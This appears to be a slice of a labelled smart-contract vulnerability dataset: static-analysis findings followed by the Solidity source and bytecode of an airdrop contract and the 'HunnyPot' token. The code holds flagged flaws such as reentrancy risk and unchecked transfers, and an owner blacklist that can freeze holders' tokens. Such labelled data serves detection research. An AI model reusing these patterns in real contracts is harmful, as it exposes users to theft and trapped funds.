{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,114
0xBD3476E32DE1077e049d0C4767c650230Be38bda
pragma solidity ^0.4.21; /** * Changes by https://www.docademic.com/ */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Destroyable is Ownable{ /** * @notice Allows to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner{ selfdestruct(owner); } } interface Token { function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address who) view external returns (uint256); } contract Airdrop is Ownable, Destroyable { using SafeMath for uint256; /* * Structures */ // Holder of tokens struct Beneficiary { uint256 balance; uint256 airdrop; bool isBeneficiary; } /* * State */ bool public filled; bool public airdropped; uint256 public airdropLimit; uint256 public currentCirculating; uint256 public toVault; address public vault; address[] public addresses; Token public token; mapping(address => Beneficiary) public beneficiaries; /* * Events */ event NewBeneficiary(address _beneficiary); event SnapshotTaken(uint256 _totalBalance, uint256 _totalAirdrop, uint256 _toBurn,uint256 _numberOfBeneficiaries, uint256 _numberOfAirdrops); event Airdropped(uint256 _totalAirdrop, uint256 _numberOfAirdrops); event TokenChanged(address _prevToken, address _token); event VaultChanged(address _prevVault, address _vault); event AirdropLimitChanged(uint256 _prevLimit, uint256 _airdropLimit); event CurrentCirculatingChanged(uint256 _prevCirculating, uint256 _currentCirculating); event Cleaned(uint256 _numberOfBeneficiaries); event Vaulted(uint256 _tokensBurned); /* * Modifiers */ modifier isNotBeneficiary(address _beneficiary) { require(!beneficiaries[_beneficiary].isBeneficiary); _; } modifier isBeneficiary(address _beneficiary) { require(beneficiaries[_beneficiary].isBeneficiary); _; } modifier isFilled() { require(filled); _; } modifier isNotFilled() { require(!filled); _; } modifier wasAirdropped() { require(airdropped); _; } modifier wasNotAirdropped() { require(!airdropped); _; } /* * Behavior */ /** * @dev Constructor. * @param _token The token address * @param _airdropLimit The token limit by airdrop in wei * @param _currentCirculating The current circulating tokens in wei * @param _vault The address where tokens will be vaulted */ function Airdrop(address _token, uint256 _airdropLimit, uint256 _currentCirculating, address _vault) public{ require(_token != address(0)); token = Token(_token); airdropLimit = _airdropLimit; currentCirculating = _currentCirculating; vault = _vault; } /** * @dev Allows the sender to register itself as a beneficiary for the airdrop. */ function() payable public { addBeneficiary(msg.sender); } /** * @dev Allows the sender to register itself as a beneficiary for the airdrop. */ function register() public { addBeneficiary(msg.sender); } /** * @dev Allows the owner to register a beneficiary for the airdrop. * @param _beneficiary The address of the beneficiary */ function registerBeneficiary(address _beneficiary) public onlyOwner { addBeneficiary(_beneficiary); } /** * @dev Allows the owner to register beneficiaries for the airdrop. * @param _beneficiaries The array of addresses */ function registerBeneficiaries(address[] _beneficiaries) public onlyOwner { for (uint i = 0; i < _beneficiaries.length; i++) { addBeneficiary(_beneficiaries[i]); } } /** * @dev Add a beneficiary for the airdrop. * @param _beneficiary The address of the beneficiary */ function addBeneficiary(address _beneficiary) private isNotBeneficiary(_beneficiary) { require(_beneficiary != address(0)); beneficiaries[_beneficiary] = Beneficiary({ balance : 0, airdrop : 0, isBeneficiary : true }); addresses.push(_beneficiary); emit NewBeneficiary(_beneficiary); } /** * @dev Take the balance of all the beneficiaries. */ function takeSnapshot() public onlyOwner isNotFilled wasNotAirdropped { uint256 totalBalance = 0; uint256 totalAirdrop = 0; uint256 airdrops = 0; for (uint i = 0; i < addresses.length; i++) { Beneficiary storage beneficiary = beneficiaries[addresses[i]]; beneficiary.balance = token.balanceOf(addresses[i]); totalBalance = totalBalance.add(beneficiary.balance); if (beneficiary.balance > 0) { beneficiary.airdrop = (beneficiary.balance.mul(airdropLimit).div(currentCirculating)); totalAirdrop = totalAirdrop.add(beneficiary.airdrop); airdrops = airdrops.add(1); } } filled = true; toVault = airdropLimit.sub(totalAirdrop); emit SnapshotTaken(totalBalance, totalAirdrop, toVault, addresses.length, airdrops); } /** * @dev Start the airdrop. */ function airdropAndVault() public onlyOwner isFilled wasNotAirdropped { uint256 airdrops = 0; uint256 totalAirdrop = 0; for (uint256 i = 0; i < addresses.length; i++) { Beneficiary storage beneficiary = beneficiaries[addresses[i]]; if (beneficiary.airdrop > 0) { require(token.transfer(addresses[i], beneficiary.airdrop)); totalAirdrop = totalAirdrop.add(beneficiary.airdrop); airdrops = airdrops.add(1); } } airdropped = true; currentCirculating = currentCirculating.add(airdropLimit); emit Airdropped(totalAirdrop, airdrops); token.transfer(vault, toVault); emit Vaulted(toVault); } /** * @dev Reset all the balances to 0 and the state to false. */ function clean() public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { Beneficiary storage beneficiary = beneficiaries[addresses[i]]; beneficiary.balance = 0; beneficiary.airdrop = 0; } filled = false; airdropped = false; toVault = 0; emit Cleaned(addresses.length); } /** * @dev Allows the owner to change the token address. * @param _token New token address. */ function changeToken(address _token) public onlyOwner { emit TokenChanged(address(token), _token); token = Token(_token); } /** * @dev Allows the owner to change the vault address. * @param _vault New vault address. */ function changeVault(address _vault) public onlyOwner { emit VaultChanged(vault, _vault); vault = _vault; } /** * @dev Allows the owner to change the token limit by airdrop. * @param _airdropLimit The token limit by airdrop in wei. */ function changeAirdropLimit(uint256 _airdropLimit) public onlyOwner { emit AirdropLimitChanged(airdropLimit, _airdropLimit); airdropLimit = _airdropLimit; } /** * @dev Allows the owner to change the token limit by airdrop. * @param _currentCirculating The current circulating tokens in wei. */ function changeCurrentCirculating(uint256 _currentCirculating) public onlyOwner { emit CurrentCirculatingChanged(currentCirculating, _currentCirculating); currentCirculating = _currentCirculating; } /** * @dev Allows the owner to flush the eth. */ function flushEth() public onlyOwner { owner.transfer(address(this).balance); } /** * @dev Allows the owner to flush the tokens of the contract. */ function flushTokens() public onlyOwner { token.transfer(owner, token.balanceOf(address(this))); } /** * @dev Allows the owner to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner { token.transfer(owner, token.balanceOf(address(this))); selfdestruct(owner); } /** * @dev Get the token balance of the contract. * @return _balance The token balance of this contract */ function tokenBalance() view public returns (uint256 _balance) { return token.balanceOf(address(this)); } /** * @dev Get the token balance of the beneficiary. * @param _beneficiary The address of the beneficiary * @return _balance The token balance of the beneficiary */ function getBalanceAtSnapshot(address _beneficiary) view public returns (uint256 _balance) { return beneficiaries[_beneficiary].balance / 1 ether; } /** * @dev Get the airdrop reward of the beneficiary. * @param _beneficiary The address of the beneficiary * @return _airdrop The token balance of the beneficiary */ function getAirdropAtSnapshot(address _beneficiary) view public returns (uint256 _airdrop) { return beneficiaries[_beneficiary].airdrop / 1 ether; } /** * @dev Allows a beneficiary to verify if he is already registered. * @param _beneficiary The address of the beneficiary * @return _isBeneficiary The boolean value */ function amIBeneficiary(address _beneficiary) view public returns (bool _isBeneficiary) { return beneficiaries[_beneficiary].isBeneficiary; } /** * @dev Get the number of beneficiaries. * @return _length The number of beneficiaries */ function beneficiariesLength() view public returns (uint256 _length) { return addresses.length; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,115
0x796341254a8c540d2982edc6c1af11ed6c7f5bd6
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ /* $HUNNY HunnyPotToken🍯 -------------------------------------- THE GRAND CELEBRATION --------------------------------------------------------- On July 1, 1921, the greatest party was founded. 100 years later, we’re gonna make the biggest hunnypot in Crypto history. If you’re scared or some weak poor shit, fxxk off🍯 🍯 Contract: ❌Team wallet ❌No Presale 🐝 Website - to be updated soon 🍯 Telegram - https://t.me/hunnypottoken * TOKENOMICS: * 1,000,000,000,000 token supply * 50% BURN TO THE GROUND * No buy or sell token limits. Whales are welcome! * No team tokens, no presale */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HunnyPot is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hunny \xF0\x9F\x8D\xAF"; string private constant _symbol = "HunnyPot"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f48756e6e7920f09f8daf00000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f48756e6e79506f74000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e6000905